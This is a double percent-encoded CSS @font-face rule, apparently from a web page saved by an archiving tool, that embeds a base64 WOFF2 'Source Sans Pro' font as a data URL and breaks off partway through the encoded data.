%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%65%25%37%31%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%34%25%37%30%25%37%37%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%36%66%25%35%34%25%34%31%25%34%31%25%34%31%25%34%34%25%36%66%25%35%30%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%65%25%37%37%25%36%32%25%36%63%25%35%34%25%35%39%25%36%33%25%36%36%25%36%37%25%35%61%25%36%37%25%34%31%25%34%61%25%33%39%25%34%37%25%34%33%25%34%33%25%36%66%25%34%61%25%36%37%25%36%65%25%34%64%25%35%32%25%34%33%25%34%31%25%37%31%25%34%32%25%33%31%25%34%38%25%34%33%25%34%32%25%37%36%25%36%38%25%34%35%25%34%63%25%36%38%25%35%34%25%33%34%25%34%31%25%34%31%25%35%34%25%35%39%25%34%33%25%34%61%25%34%31%25%34%66%25%34%62%25%35%38%25%36%37%25%35%31%25%36%37%25%34%32%25%35%39%25%35%35%25%37%39%25%34%32%25%33%35%25%36%38%25%33%33%25%34%34%25%34%36%25%35%39%25%36%32%25%33%34%25%37%30%25%34%35%25%35%38%25%37%38%25%34%65%25%33%33%25%33%33%25%36%37%25%36%65%25%34%39%25%33%37%25%35%39%25%35%30%25%33%36%25%33%31%25%33%36%25%33%39%25%32%62%25%37%33%25%34%32%25%36%35%25%37%38%25%35%37%25%36%35%25%34%63%25%36%33%25%36%61%25%36%31%25%36%65%25%34%66%25%36%33%25%35%34%25%35%31%25%37%39%25%33%34%25%37%37%25%33%37%25%34%32%25%37%38%25%34%31%25%34%36%25%36%62%25%33%38%25%33%32%25%33%34%25%37%36%25%32%66%25%32%66%25%33%38%25%33%39%25%34%64%25%34%62%25%36%61%25%34%61%25%36%64%25%35%35%25%37%61%25%35%36%25%37%30%25%37%34%25%37%37%25%33%30%25%34%37%25%36%66%25%34%31%25%34%63%25%36%33%25%32%62%25%33%35%25%35%33%25%34%33%25%37%39%25%35%61%25%34%61%25%35%31%25%33%36%25%35%35%25%35%35%25%36%61%25%33%39%25%36%62%25%36%38%25%35%30%25%36%62%25%36%39%25%36%35%25%33%35%25%36%65%25%34%37%25%34%31%25%36%64%25%37%38%25%34%36%25%36%38%25%34%37%25%33%30%25%36%62%25%37%31%25%36%66%25%34%64%25%34%65%25%35%39%25%35%33%25%35%37%25%33%31%25%36%64%25%35%31%25%35%33%25%34%65%25%37%38%25%36%38%25%34%36%25%33%38%25%37%32%25%34%33%25%35%61%25%34%37%25%32%66%25%36%31%25%36%32%25%34%33%25%34%38%25%37%33%25%34%64%25%35%30%25%37%37%25%35%30%25%36%34%25%33%39%25%35%35%25%37%31%25%36%36%25%36%66%25%33%38%25%35%36%25%34%66%25%37%31%25%34%36%25%35%38%25%35%37%25%36%34%25%34%37%25%33%37%25%36%63%25%35%61%25%36%38%25%37%30%25%36%35%25%35%61%25%36%31%25%35%33%25%33%37%25%35%31%25%34%32%25%36%63%25%35%33%25%37%37%25%36%38%25%37%32%25%34%65%25%35%37%25%34%66%25%33%35%25%35%32%25%36%62%25%35%31%25%37%61%25%37%39%25%37%31%25%36%38%25%35%36%25%37%35%25%34%32%25%34%32%25%37%35%25%37%30%25%37%31%25%36%36%25%37%32%25%36%38%25%37%36%25%36%33%25%33%38%25%33%30%25%37%34%25%34%63%25%33%35%25%34%35%25%32%66%25%35%32%25%36%66%25%37%35%25%37%39%25%34%39%25%33%31%25%34%61%25%37%33%25%37%35%25%33%39%25%36%64%25%34%33%25%37%37%25%33%32%25%33%32%25%33%33%25%34%65%25%36%31%25%34%63%25%34%35%25%34%37%25%35%30%25%36%32%25%34%62%25%33%39%25%33%37%25%37%37%25%35%31%25%32%66%25%33%35%25%37%39%25%34%35%25%34%37%25%35%38%25%36%34%25%34%39%25%36%37%25%36%65%25%35%38%25%35%34%25%33%37%25%37%30%25%36%34%25%33%35%25%33%36%25%33%32%25%34%39%25%37%34%25%33%31%25%34%66%25%36%61%25%33%33%25%37%61%25%33%38%25%36%65%25%33%35%25%33%36%25%34%64%25%35%34%25%36%37%25%37%39%25%36%66%25%35%39%25%35%39%25%34%38%25%36%63%25%33%39%25%36%37%25%32%66%25%37%36%25%37%34%25%34%66%25%32%66%25%36%62%25%33%36%25%34%39%25%35%35%25%37%35%25%33%39%25%33%32%25%36%32%25%36%37%25%36%63%25%35%32%25%35%39%25%37%36%25%33%32%25%34%62%25%37%61%25%36%61%25%35%36%25%37%33%25%34%64%25%34%33%25%35%33%25%33%35%25%36%33%25%33%33%25%37%30%25%36%35%25%36%61%25%34%35%25%33%32%25%35%38%25%33%39%25%35%30%25%35%30%25%36%62%25%34%61%25%36%61%25%36%65%25%37%39%25%35%33%25%33%35%25%32%66%25%36%38%25%34%65%25%37%35%25%32%62%25%37%36%25%33%35%25%36%34%25%36%39%25%34%32%25%34%35%25%34%62%25%34%39%25%35%36%25%34%32%25%35%33%25%36%31%25%36%63%25%35%32%25%37%33%25%34%37%25%32%62%25%33%33%25%34%64%25%37%61%25%35%36%25%34%64%25%34%31%25%34%31%25%36%36%25%37%37%25%34%34%25%33%33%25%35%30%25%37%33%25%33%37%25%33%39%25%37%61%25%36%33%25%35%38%25%37%39%25%34%34%25%35%30%25%33%34%25%33%33%25%35%30%25%35%31%25%33%35%25%36%32%25%34%37%25%34%66%25%36%33%25%35%31%25%34%62%25%36%64%25%34%37%25%35%35%25%35%31%25%36%64%25%32%62%25%34%31%25%35%38%25%33%36%25%36%32%25%36%36%25%36%36%25%34%34%25%35%35%25%34%62%25%35%33%25%34%31%25%37%31%25%33%34%25%34%64%25%34%66%25%36%37%25%34%61%25%36%31%25%35%32%25%35%33%25%35%35%25%36%39%25%36%66%25%34%65%25%35%31%25%34%36%25%34%31%25%35%31%25%34%33%25%33%33%25%34%65%25%34%37%25%37%61%25%35%39%25%35%36%25%37%35%25%34%63%25%37%30%25%33%33%25%36%32%25%36%32%25%37%34%25%33%36%25%36%33%25%36%39%25%33%32%25%37%39%25%35%38%25%33%31%25%33%39%25%37%36%25%37%30%25%33%39%25%33%36%25%32%66%25%35%33%25%33%33%25%36%32%25%35%36%25%37%61%25%36%62%25%36%34%25%36%35%25%33%36%25%33%39%25%35%30%25%33%32%25%36%64%25%36%39%25%33%33%25%34%33%25%33%31%25%37%33%25%34%38%25%34%66%25%37%36%25%36%35%25%36%62%25%37%32%25%35%31%25%36%34%25%32%66%25%35%37%25%37%37%25%36%66%25%33%31%25%36%38%25%34%34%25%33%36%25%34%66%25%35%38%25%35%30%25%37%31%25%36%34%25%35%34%25%33%39%25%34%36%25%34%62%25%33%31%25%34%32%25%36%62%25%36%33%25%33%31%25%36%64%25%37%37%25%36%64%25%36%66%25%34%64%25%37%37%25%34%64%25%32%66%25%35%34%25%33%30%25%32%62%25%34%37%25%32%66%25%35%61%25%33%32%25%36%36%25%34%31%25%35%31%25%37%31%25%33%31%25%37%38%25%37%37%25%34%35%25%37%33%25%37%34%25%37%38%25%34%66%25%34%35%25%36%37%25%33%37%25%35%38%25%32%62%25%36%39%25%34%39%25%35%33%25%33%37%25%33%39%25%32%66%25%37%31%25%32%62%25%36%32%25%36%35%25%36%31%25%36%37%25%34%66%25%34%66%25%32%62%25%34%65%25%37%30%25%37%38%25%36%35%25%33%33%25%34%66%25%37%34%25%37%61%25%35%32%25%33%38%25%37%38%25%34%64%25%34%39%25%34%63%25%35%33%25%35%38%25%36%65%25%36%33%25%34%66%25%36%66%25%36%62%25%35%37%25%37%37%25%35%30%25%32%66%25%35%31%25%32%66%25%37%34%25%33%34%25%33%35%25%33%31%25%36%35%25%35%37%25%35%36%25%34%31%25%34%63%25%34%31%25%35%32%25%34%34%25%35%37%25%33%31%25%37%30%25%33%32%25%35%37%25%36%38%25%37%32%25%33%33%25%33%34%25%35%30%25%33%38%25%34%39%25%34%65%25%33%36%25%36%37%25%34%31%25%35%38%25%36%34%25%35%37%25%33%35%25%33%39%25%36%65%25%37%38%25%34%31%25%35%32%25%36%37%25%35%32%25%34%61%25%34%32%25%34%32%25%36%66%25%36%61%25%34%63%25%35%35%25%36%34%25%33%31%25%35%32%25%36%66%25%33%30%25%37%33%25%37%34%25%36%39%25%36%32%25%37%31%25%32%66%25%34%32%25%34%31%25%33%33%25%37%36%25%33%36%25%34%65%25%36%36%25%34%34%25%36%37%25%35%39%25%33%38%25%37%33%25%36%39%25%37%32%25%36%34%25%36%36%25%33%39%25%35%36%25%33%35%25%36%61%25%34%37%25%37%34%25%35%32%25%37%35%25%35%61%25%33%32%25%34%35%25%35%35%25%35%36%25%34%37%25%37%32%25%33%34%25%35%32%25%34%37%25%34%36%25%37%30%25%35%36%25%32%66%25%36%39%25%34%64%25%36%66%25%33%36%25%34%61%25%36%35%25%34%66%25%34%63%25%34%66%25%37%35%25%36%64%25%36%63%25%37%35%25%34%36%25%33%33%25%33%30%25%36%62%25%37%36%25%34%37%25%34%39%25%34%61%25%37%39%25%34%62%25%37%37%25%37%32%25%35%34%25%35%31%25%37%30%25%34%38%25%34%64%25%34%37%25%37%39%25%33%31%25%34%62%25%37%35%25%37%61%25%34%38%25%36%39%25%34%63%25%33%39%25%35%38%25%37%37%25%34%34%25%36%37%25%35%32%25%33%32%25%35%30%25%37%35%25%34%38%25%37%36%25%37%39%25%32%62%25%37%61%25%37%36%25%33%30%25%35%32%25%37%33%25%33%30%25%35%33%25%36%31%25%36%31%25%36%33%25%34%61%25%34%33%25%35%39%25%36%62%25%37%33%25%34%36%25%37%36%25%34%64%25%33%34%25%35%36%25%34%35%25%35%39%25%35%38%25%36%65%25%32%66%25%32%66%25%36%36%25%33%33%25%32%66%25%33%33%25%34%64%25%32%66%25%36%38%25%37%36%25%36%32%25%36%39%25%34%38%25%34%66%25%37%35%25%34%34%25%36%31%25%34%33%25%35%31%25%37%32%25%36%65%25%36%32%25%33%34%25%35%34%25%33%32%25%34%61%25%36%37%25%36%63%25%36%65%25%33%33%25%37%36%25%36%66%25%35%36%25%36%61%25%35%33%25%34%32%25%34%35%25%34%34%25%34%35%25%35%33%25%34%33%25%34%33%25%36%31%25%34%32%25%34%36%25%35%34%25%33%32%25%37%61%25%34%65%25%37%39%25%33%33%25%34%65%25%37%35%25%36%39%25%32%62%25%37%31%25%33%36%25%36%38%25%36%35%25%36%34%25%33%34%25%33%37%25%37%32%25%33%31%25%34%66%25%36%32%25%37%30%25%34%37%25%34%31%25%36%61%25%37%34%25%37%30%25%35%32%25%34%34%25%36%36%25%33%34%25%37%36%25%33%32%25%37%34%25%36%31%25%36%33%25%34%38%25%36%34%25%33%36%25%33%39%25%34%38%25%37%37%25%33%37%25%36%66%25%35%33%25%36%33%25%36%65%25%34%35%25%35%39%25%35%33%25%35%61%25%34%35%25%37%36%25%34%66%25%37%61%25%34%32%25%35%39%25%35%61%25%36%61%25%34%62%25%37%36%25%33%38%25%36%62%25%35%35%25%34%66%25%36%62%25%36%63%25%35%38%25%37%34%25%36%37%25%35%35%25%36%36%25%34%31%25%37%38%25%34%37%25%35%31%25%34%33%25%37%34%25%34%65%25%33%38%25%33%38%25%36%65%25%37%30%25%33%33%25%32%66%25%34%38%25%37%37%25%34%65%25%35%35%25%35%61%25%33%37%25%37%35%25%37%39%25%36%34%25%34%31%25%35%37%25%33%31%25%35%34%25%36%39%25%32%62%25%35%37%25%34%63%25%35%61%25%36%64%25%33%31%25%36%37%25%36%66%25%35%32%25%33%32%25%35%35%25%33%36%25%36%63%25%35%31%25%36%31%25%35%61%25%36%66%25%35%61%25%34%37%25%34%62%25%35%37%25%34%39%25%36%61%25%33%32%25%34%35%25%36%36%25%33%38%25%35%31%25%37%31%25%37%34%25%36%66%25%37%39%25%36%37%25%34%39%25%34%66%25%35%32%25%33%32%25%37%38%25%34%39%25%34%31%25%35%30%25%34%61%25%35%34%25%34%63%25%33%35%25%37%38%25%35%35%25%37%30%25%37%36%25%34%32%25%34%66%25%36%65%25%36%31%25%34%39%25%37%35%25%37%32%25%35%61%25%35%38%25%36%63%25%37%33%25%36%35%25%33%34%25%36%36%25%36%64%25%34%65%25%34%38%25%37%34%25%37%30%25%36%65%25%37%39%25%34%32%25%35%36%25%34%34%25%33%30%25%35%34%25%34%33%25%35%34%25%34%35%25%32%62%25%32%66%25%34%35%25%37%38%25%36%36%25%35%39%25%36%35%25%37%30%25%36%33%25%36%32%25%34%61%25%34%64%25%35%30%25%34%33%25%34%33%25%35%30%25%34%66%25%34%34%25%37%37%25%36%39%25%34%66%25%35%33%25%37%30%25%34%34%25%35%31%25%36%61%25%37%39%25%37%36%25%35%61%25%34%39%25%34%35%25%36%63%25%34%31%25%36%38%25%34%66%25%37%37%25%34%63%25%36%38%25%34%34%25%34%31%25%36%62%25%34%63%25%34%63%25%34%61%25%35%32%25%32%66%25%32%66%25%37%61%25%32%66%25%35%36%25%35%38%25%36%63%25%37%36%25%36%33%25%34%37%25%35%39%25%33%34%25%34%39%25%34%62%25%37%35%25%35%30%25%37%37%25%35%35%25%34%31%25%33%36%25%35%32%25%36%38%25%33%34%25%33%36%25%35%36%25%36%33%25%37%33%25%33%38%25%35%36%25%37%36%25%33%30%25%34%64%25%36%65%25%33%35%25%36%31%25%37%30%25%37%37%25%35%32%25%35%31%25%37%37%25%36%35%25%34%66%25%34%39%25%37%33%25%36%34%25%37%36%25%37%33%25%35%35%25%36%65%25%34%65%25%32%66%25%37%37%25%34%31%25%37%32%25%33%30%25%34%62%25%34%64%25%34%32%25%34%31%25%35%61%25%36%33%25%34%32%25%36%62%25%34%32%25%37%30%25%34%38%25%35%35%25%34%62%25%37%35%25%35%36%25%34%34%25%35%33%25%34%66%25%37%35%25%36%35%25%36%38%25%33%38%25%35%38%25%34%64%25%35%37%25%33%36%25%36%33%25%36%34%25%34%66%25%33%36%25%34%62%25%34%35%25%37%32%25%34%34%25%36%36%25%32%66%25%33%31%25%36%35%25%35%61%25%32%66%25%34%66%25%33%34%25%35%37%25%35%37%25%37%30%25%33%33%25%37%30%25%35%38%25%33%31%25%36%61%25%36%33%25%37%39%25%34%63%25%35%35%25%37%38%25%36%61%25%36%65%25%34%62%25%35%35%25%37%34%25%32%66%25%37%33%25%35%32%25%34%62%25%34%38%25%37%31%25%32%62%25%34%33%25%35%31%25%36%37%25%34%63%25%34%34%25%34%39%25%36%36%25%36%66%25%37%38%25%36%37%25%36%62%25%33%32%25%36%62%25%34%33%25%35%30%25%35%39%25%33%34%25%32%66%25%36%31%25%34%32%25%36%61%25%34%62%25%33%34%25%34%34%25%37%39%25%33%39%25%34%66%25%34%34%25%34%33%25%37%31%25%34%35%25%33%36%25%35%61%25%36%39%25%37%33%25%32%66%25%33%37%25%36%39%25%36%64%25%36%36%25%37%33%25%36%62%25%36%32%25%36%37%25%37%36%25%35%30%25%32%66%25%37%32%25%37%33%25%34%63%25%36%33%25%37%61%25%36%31%25%36%63%25%37%32%25%36%64%25%33%35%25%35%32%25%36%36%25%34%66%25%35%35%25%34%66%25%35%31%25%37%61%25%34%62%25%37%30%25%37%61%25%34%32%25%34%62%25%37%31%25%35%34%25%34%64%25%33%35%25%36%32%25%36%33%25%36%63%25%34%61%25%34%31%25%37%61%25%35%37%25%36%31%25%36%66%25%33%35%25%35%39%25%36%33%25%37%35%25%35%34%25%34%34%25%34%33%25%37%35%25%37%39%25%34%34%25%34%31%25%36%35%25%36%34%25%37%32%25%32%66%25%33%37%25%37%31%25%32%62%25%33%35%25%36%31%25%37%35%25%32%66%25%35%34%25%34%62%25%36%63%25%34%34%25%35%33%25%33%30%25%33%34%25%36%39%25%36%39%25%34%64%25%33%38%25%37%37%25%36%39%25%36%38%25%34%37%25%36%35%25%34%61%25%33%31%25%33%35%25%37%30%25%36%38%25%37%38%25%34%66%25%33%39%25%35%30%25%33%30%25%37%38%25%37%31%25%33%33%25%32%66%25%37%35%25%33%33%25%35%30%25%33%33%25%35%37%25%35%61%25%37%32%25%37%35%25%34%62%25%35%33%25%34%35%25%36%64%25%36%66%25%35%33%25%35%31%25%34%34%25%35%61%25%37%35%25%36%36%25%33%39%25%36%36%25%34%34%25%35%31%25%34%61%25%36%66%25%34%31%25%34%31%25%34%32%25%36%37%25%33%33%25%34%32%25%36%39%25%34%66%25%34%32%25%34%31%25%35%37%25%35%32%25%34%31%25%36%37%25%36%66%25%36%37%25%36%63%25%35%36%25%35%32%25%34%33%25%33%32%25%37%35%25%37%35%25%34%31%25%35%34%25%34%34%25%34%31%25%35%32%25%35%37%25%35%37%25%37%37%25%34%61%25%37%33%25%37%34%25%34%61%25%34%62%25%35%61%25%34%63%25%35%30%25%34%65%25%36%64%25%34%65%25%33%31%25%33%32%25%34%39%25%37%37%25%36%33%25%36%34%25%37%38%25%34%61%25%37%38%25%37%38%25%34%32%25%36%65%25%35%30%25%35%36%25%35%36%25%36%33%25%37%37%25%36%32%25%36%32%25%33%35%25%34%35%25%32%66%25%32%66%25%36%64%25%34%32%25%37%30%25%33%35%25%34%31%25%34%31%25%35%36%25%34%37%25%35%31%25%33%34%25%35%36%25%36%39%25%34%39%25%34%31%25%35%31%25%35%31%25%34%36%25%35%36%25%35%36%25%35%36%25%33%38%25%34%62%25%33%30%25%36%35%25%34%65%25%36%64%25%37%31%25%33%38%25%34%36%25%32%62%25%34%35%25%36%65%25%36%34%25%37%33%25%36%39%25%33%38%25%35%39%25%35%39%25%33%31%25%36%31%25%33%34%25%35%30%25%34%64%25%36%61%25%33%37%25%36%38%25%37%32%25%36%35%25%32%62%25%35%31%25%36%65%25%34%31%25%34%37%25%34%34%25%33%39%25%34%33%25%33%34%25%37%38%25%36%32%25%36%33%25%37%33%25%37%33%25%34%31%25%33%33%25%33%34%25%34%62%25%34%38%25%35%61%25%37%30%25%33%33%25%36%32%25%37%37%25%37%61%25%33%38%25%33%35%25%34%31%25%35%31%25%36%61%25%37%39%25%34%33%25%35%33%25%34%65%25%35%61%25%37%38%25%36%38%25%35%39%25%34%66%25%35%34%25%37%34%25%36%65%25%34%62%25%33%38%25%33%30%25%37%30%25%37%61%25%37%30%25%34%34%25%34%34%25%34%32%25%36%33%25%36%62%25%37%30%25%32%66%25%37%61%25%34%63%25%35%34%25%34%34%25%34%35%25%35%61%25%37%33%25%36%63%25%35%38%25%34%62%25%37%39%25%33%32%25%37%37%25%36%61%25%36%34%25%32%62%25%34%32%25%35%36%25%37%36%25%34%38%25%32%66%25%37%36%25%35%30%25%37%61%25%34%32%25%37%37%25%36%37%25%36%66%25%34%64%25%36%61%25%36%66%25%36%65%25%35%31%25%35%34%25%36%65%25%34%39%25%35%33%25%36%62%25%34%64%25%34%66%25%35%61%25%36%37%25%33%30%25%33%36%25%37%31%25%37%37%25%34%35%25%34%39%25%34%36%25%33%34%25%36%64%25%35%33%25%33%30%25%36%31%25%36%63%25%36%62%25%33%34%25%35%32%25%37%33%25%36%64%25%34%66%25%34%65%25%34%62%25%34%31%25%33%32%25%35%31%25%34%62%25%33%30%25%36%66%25%37%33%25%37%34%25%35%38%25%36%31%25%37%31%25%35%61%25%34%33%25%35%37%25%35%32%25%35%37%25%36%64%25%37%38%25%34%63%25%35%39%25%34%38%25%37%33%25%34%63%25%35%34%25%33%31%25%34%39%25%34%65%25%35%33%25%35%31%25%36%31%25%37%33%25%37%36%25%34%36%25%34%33%25%37%37%25%37%37%25%33%37%25%36%63%25%37%35%25%34%34%25%37%34%25%37%33%25%37%33%25%35%36%25%32%66%25%33%31%25%36%37%25%32%62%25%36%65%25%33%36%25%33%30%25%36%34%25%34%61%25%33%38%25%34%38%25%34%32%25%35%34%25%35%31%25%37%39%25%37%61%25%33%39%25%33%33%25%32%62%25%34%38%25%33%36%25%33%32%25%36%39%25%37%61%25%34%39%25%34%63%25%35%61%25%35%39%25%36%31%25%34%36%25%32%66%25%36%31%25%35%30%25%33%31%25%33%36%25%34%66%25%36%36%25%34%35%25%37%33%25%34%64%25%37%33%25%36%36%25%32%66%25%34%39%25%34%32%25%33%32%25%35%35%25%37%37%25%37%34%25%33%32%25%36%65%25%34%39%25%36%33%25%33%31%25%37%36%25%34%37%25%37%61%25%34%31%25%34%66%25%37%33%25%36%34%25%37%32%25%34%64%25%33%38%25%36%35%25%34%39%25%36%31%25%34%61%25%34%35%25%34%38%25%34%33%25%36%64%25%33%37%25%33%30%25%37%35%25%37%36%25%33%38%25%35%35%25%36%64%25%35%39%25%35%38%25%35%34%25%32%62%25%37%36%25%36%62%25%34%36%25%36%61%25%33%39%25%33%33%25%32%62%25%35%30%25%36%62%25%35%31%25%36%37%25%35%30%25%36%36%25%34%38%25%37%38%25%35%35%25%34%31%25%33%32%25%34%35%25%36%35%25%34%65%25%36%32%25%36%39%25%36%61%25%34%37%25%35%61%25%33%37%25%33%39%25%35%30%25%35%30%25%37%36%25%34%37%25%35%35%25%34%36%25%33%30%25%33%34%25%35%35%25%34%63%25%37%39%25%36%65%25%37%31%25%34%66%25%35%61%25%35%34%25%33%34%25%34%34%25%33%36%25%33%39%25%34%35%25%33%35%25%34%39%25%33%36%25%34%61%25%36%61%25%34%35%25%33%39%25%35%61%25%33%38%25%35%36%25%35%34%25%34%35%25%34%64%25%36%66%25%33%33%25%36%31%25%37%34%25%34%31%25%33%32%25%33%34%25%35%39%25%37%34%25%33%30%25%33%32%25%35%34%25%34%33%25%33%33%25%34%61%25%35%34%25%37%30%25%32%66%25%37%39%25%33%39%25%36%38%25%37%32%25%34%31%25%35%32%25%34%34%25%34%33%25%36%35%25%33%39%25%33%39%25%34%33%25%36%64%25%35%36%25%36%32%25%32%62%25%34%37%25%37%31%25%36%31%25%34%64%25%35%34%25%33%30%25%35%34%25%37%61%25%35%33%25%34%62%25%34%37%25%34%32%25%35%31%25%37%38%25%37%38%25%35%33%25%34%65%25%35%38%25%35%30%25%37%39%25%37%37%25%36%31%25%34%34%25%35%32%25%37%30%25%35%34%25%36%33%25%37%61%25%33%36%25%33%34%25%35%35%25%33%30%25%34%39%25%34%63%25%35%35%25%36%31%25%36%64%25%34%66%25%36%62%25%34%61%25%36%62%25%34%66%25%34%65%25%35%36%25%33%33%25%35%30%25%36%38%25%37%35%25%34%61%25%36%36%25%34%36%25%36%37%25%33%32%25%35%36%25%36%65%25%36%65%25%37%37%25%34%35%25%36%39%25%33%30%25%36%39%25%32%62%25%35%30%25%34%32%25%35%31%25%37%35%25%33%39%25%35%38%25%36%32%25%34%32%25%34%33%25%37%34%25%37%34%25%33%31%25%35%36%25%34%66%25%36%65%25%34%34%25%33%36%25%36%31%25%36%66%25%37%31%25%37%34%25%36%31%25%36%64%25%37%36%25%36%38%25%34%61%25%36%39%25%36%61%25%33%31%25%35%38%25%34%63%25%33%39%25%36%65%25%33%35%25%36%34%25%32%66%25%36%33%25%36%38%25%35%39%25%34%34%25%36%34%25%33%36%25%34%65%25%37%30%25%33%36%25%34%32%25%36%36%25%33%31%25%36%39%25%33%33%25%33%31%25%36%66%25%36%64%25%36%33%25%37%34%25%35%38%25%36%35%25%36%38%25%35%35%25%36%66%25%36%31%25%34%32%25%36%66%25%35%36%25%36%65%25%36%37%25%34%63%25%35%34%25%33%30%25%35%35%25%33%31%25%36%33%25%34%32%25%35%61%25%35%61%25%34%36%25%34%61%25%36%39%25%36%32%25%33%33%25%37%61%25%34%32%25%36%34%25%37%37%25%36%66%25%36%32%25%32%62%25%36%39%25%35%35%25%35%36%25%34%33%25%37%34%25%34%34%25%35%33%25%34%35%25%37%31%25%37%33%25%36%39%25%37%38%25%36%38%25%37%61%25%34%34%25%36%64%25%37%38%25%35%39%25%32%62%25%33%32%25%34%64%25%36%62%25%32%62%25%37%37%25%37%34%25%33%38%25%35%34%25%36%66%25%34%33%25%33%35%25%32%62%25%33%36%25%33%35%25%33%31%25%37%35%25%34%64%25%33%34%25%37%31%25%36%64%25%36%33%25%36%34%25%34%65%25%34%65%25%35%32%25%37%36%25%35%39%25%37%33%25%37%36%25%34%65%25%36%66%25%34%33%25%36%64%25%33%32%25%35%36%25%37%34%25%37%38%25%33%32%25%33%36%25%33%36%25%35%34%25%33%30%25%36%66%25%34%62%25%34%62%25%36%63%25%37%33%25%34%33%25%35%37%25%35%30%25%37%33%25%34%66%25%36%61%25%36%64%25%34%36%25%34%61%25%36%63%25%34%32%25%37%37%25%36%31%25%37%34%25%36%35%25%37%38%25%37%34%25%36%61%25%36%36%25%37%34%25%35%31%25%35%32%25%34%31%25%37%35%25%37%36%25%33%38%25%36%65%25%34%64%25%36%64%25%36%62%25%35%37%25%34%35%25%36%39%25%33%32%25%33%32%25%35%35%25%36%62%25%32%62%25%37%32%25%36%32%25%35%34%25%36%32%25%34%31%25%36%34%25%36%39%25%36%35%25%34%64%25%36%34%25%34%64%25%34%36%25%35%36%25%37%33%25%33%31%25%33%31%25%33%33%25%37%39%25%33%30%25%34%61%25%33%33%25%36%39%25%37%32%25%35%31%25%33%30%25%36%61%25%37%35%25%34%32%25%34%36%25%37%33%25%35%61%25%34%37%25%33%38%25%37%38%25%34%66%25%35%34%25%34%37%25%34%64%25%34%39%25%35%34%25%36%61%25%36%64%25%34%38%25%35%33%25%34%33%25%35%33%25%34%61%25%37%31%25%34%64%25%35%32%25%34%61%25%36%63%25%36%62%25%37%38%25%36%64%25%35%33%25%35%32%25%36%65%25%35%33%25%34%33%25%34%38%25%33%33%25%34%35%25%37%38%25%33%35%25%34%36%25%34%33%25%35%31%25%37%31%25%37%30%25%34%33%25%35%32%25%34%36%25%34%62%25%35%37%25%35%38%25%35%39%25%36%63%25%35%36%25%35%37%25%35%37%25%37%31%25%37%30%25%37%61%25%34%62%25%34%65%25%34%36%25%35%36%25%35%35%25%33%34%25%35%36%25%34%32%25%35%36%25%36%34%25%35%35%25%33%34%25%33%31%25%33%31%25%34%37%25%34%33%25%36%66%25%37%31%25%35%33%25%35%61%25%36%34%25%34%63%25%36%36%25%35%35%25%35%61%25%34%37%25%36%64%25%36%61%25%34%61%25%37%32%25%37%30%25%35%36%25%33%32%25%35%34%25%34%66%25%33%32%25%33%31%25%34%36%25%33%36%25%37%31%25%34%34%25%34%34%25%36%62%25%37%37%25%36%34%25%36%34%25%36%35%25%36%36%25%35%38%25%35%31%25%37%61%25%33%38%25%35%32%25%32%62%25%37%35%25%37%34%25%35%30%25%34%64%25%37%33%25%34%32%25%35%31%25%35%35%25%35%39%25%36%31%25%35%61%25%34%39%25%34%65%25%35%61%25%34%35%25%34%35%25%37%37%25%35%36%25%34%64%25%34%64%25%36%63%25%35%37%25%33%38%25%36%31%25%36%35%25%35%61%25%34%39%25%34%65%25%34%65%25%36%34%25%34%33%25%37%39%25%35%32%25%35%61%25%36%32%25%37%37%25%37%32%25%35%34%25%35%35%25%35%35%25%37%30%25